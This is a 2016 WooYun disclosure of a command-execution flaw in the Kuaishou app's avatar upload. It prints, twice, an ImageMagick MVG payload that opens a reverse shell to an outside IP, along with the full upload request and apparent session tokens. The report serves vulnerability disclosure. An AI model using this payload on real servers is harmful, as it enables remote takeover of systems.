当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0205836

漏洞标题：快手APP存在命令执行漏洞

相关厂商：快手科技

漏洞作者： 路人甲

提交时间：2016-05-06 21:42

修复时间：2016-06-20 23:50

公开时间：2016-06-20 23:50

漏洞类型：命令执行

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-05-06： 细节已通知厂商并且等待厂商处理中
2016-05-06： 厂商已经确认，细节仅向厂商公开
2016-05-16： 细节向核心白帽子及相关领域专家公开
2016-05-26： 细节向普通白帽子公开
2016-06-05： 细节向实习白帽子公开
2016-06-20： 细节向公众公开

简要描述：

详细说明：

app头像上传处
传一张图抓包
把图片的内容改为
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|bash -i >& /dev/tcp/107.151.220.83/12345 0>&1")'
pop graphic-context

3.png


POST /rest/n/user/modify?lat=20.043384&lon=110.410347&ver=4.44&ud=234221710&sys=ANDROID_4.2.2&c=360APP&oc=360APP&net=WIFI&did=ANDROID_1072044643045168&mod=samsung%28GT-P5210%29&app=0&language=zh-cn&country_code=CN&appver=4.44.0.1323 HTTP/1.1
Accept-Language: zh-cn
User-Agent: kwai-android
Content-Type: multipart/form-data; boundary=8mW19hv6NU1G9T7JAID8WdxBd3Zz9WHMenQFmBK
Host: 180.186.38.200
Connection: Keep-Alive
Accept-Encoding: gzip
Content-Length: 1159
--8mW19hv6NU1G9T7JAID8WdxBd3Zz9WHMenQFmBK
Content-Disposition: form-data; name="token"
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
9818721fb5db40cc9d5015e8d5d0f8d0-234221710
--8mW19hv6NU1G9T7JAID8WdxBd3Zz9WHMenQFmBK
Content-Disposition: form-data; name="os"
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
android
--8mW19hv6NU1G9T7JAID8WdxBd3Zz9WHMenQFmBK
Content-Disposition: form-data; name="sig"
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
9357092294a29fb6be75ec7884fb44d6
--8mW19hv6NU1G9T7JAID8WdxBd3Zz9WHMenQFmBK
Content-Disposition: form-data; name="client_key"
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
3c2cd3f3
--8mW19hv6NU1G9T7JAID8WdxBd3Zz9WHMenQFmBK
Content-Disposition: form-data; name="file"; filename="avatar-1462541373042.png"
Content-Type: image/png; charset=UTF-8
Content-Transfer-Encoding: binary
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|bash -i >& /dev/tcp/107.151.220.83/12345 0>&1")'
pop graphic-context
--8mW19hv6NU1G9T7JAID8WdxBd3Zz9WHMenQFmBK--


发包后在服务器上监听12345端口

1.png


2.png

漏洞证明：

app头像上传处
传一张图抓包
把图片的内容改为
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|bash -i >& /dev/tcp/107.151.220.83/12345 0>&1")'
pop graphic-context

3.png


POST /rest/n/user/modify?lat=20.043384&lon=110.410347&ver=4.44&ud=234221710&sys=ANDROID_4.2.2&c=360APP&oc=360APP&net=WIFI&did=ANDROID_1072044643045168&mod=samsung%28GT-P5210%29&app=0&language=zh-cn&country_code=CN&appver=4.44.0.1323 HTTP/1.1
Accept-Language: zh-cn
User-Agent: kwai-android
Content-Type: multipart/form-data; boundary=8mW19hv6NU1G9T7JAID8WdxBd3Zz9WHMenQFmBK
Host: 180.186.38.200
Connection: Keep-Alive
Accept-Encoding: gzip
Content-Length: 1159
--8mW19hv6NU1G9T7JAID8WdxBd3Zz9WHMenQFmBK
Content-Disposition: form-data; name="token"
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
9818721fb5db40cc9d5015e8d5d0f8d0-234221710
--8mW19hv6NU1G9T7JAID8WdxBd3Zz9WHMenQFmBK
Content-Disposition: form-data; name="os"
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
android
--8mW19hv6NU1G9T7JAID8WdxBd3Zz9WHMenQFmBK
Content-Disposition: form-data; name="sig"
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
9357092294a29fb6be75ec7884fb44d6
--8mW19hv6NU1G9T7JAID8WdxBd3Zz9WHMenQFmBK
Content-Disposition: form-data; name="client_key"
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
3c2cd3f3
--8mW19hv6NU1G9T7JAID8WdxBd3Zz9WHMenQFmBK
Content-Disposition: form-data; name="file"; filename="avatar-1462541373042.png"
Content-Type: image/png; charset=UTF-8
Content-Transfer-Encoding: binary
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|bash -i >& /dev/tcp/107.151.220.83/12345 0>&1")'
pop graphic-context
--8mW19hv6NU1G9T7JAID8WdxBd3Zz9WHMenQFmBK--


发包后在服务器上监听12345端口

1.png


2.png

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2016-05-06 23:41

厂商回复：

还有缺漏没有完全修复，非常感谢

最新状态：

暂无

漏洞评价：

评价

  1. 2016-05-06 21:50 | 看灰机 ( 路人 | Rank:2 漏洞数:1 | 1)

    还是难逃命运

  2. 2016-05-06 21:54 | 小牛牛 ( 普通白帽子 | Rank:139 漏洞数:17 | 求带)

    ...我今天在补天就提交了。。就是还没过审核。。

  3. 2016-05-06 22:04 | m0ney ( 实习白帽子 | Rank:56 漏洞数:24 | 0x00)

    很多APP都躺枪

  4. 2016-05-07 12:14 | starry ( 路人 | Rank:4 漏洞数:1 | coder)

    mark

  5. 2016-05-07 13:42 | 小白-x9 ( 路人 | Rank:8 漏洞数:3 )

    给我来1000w粉丝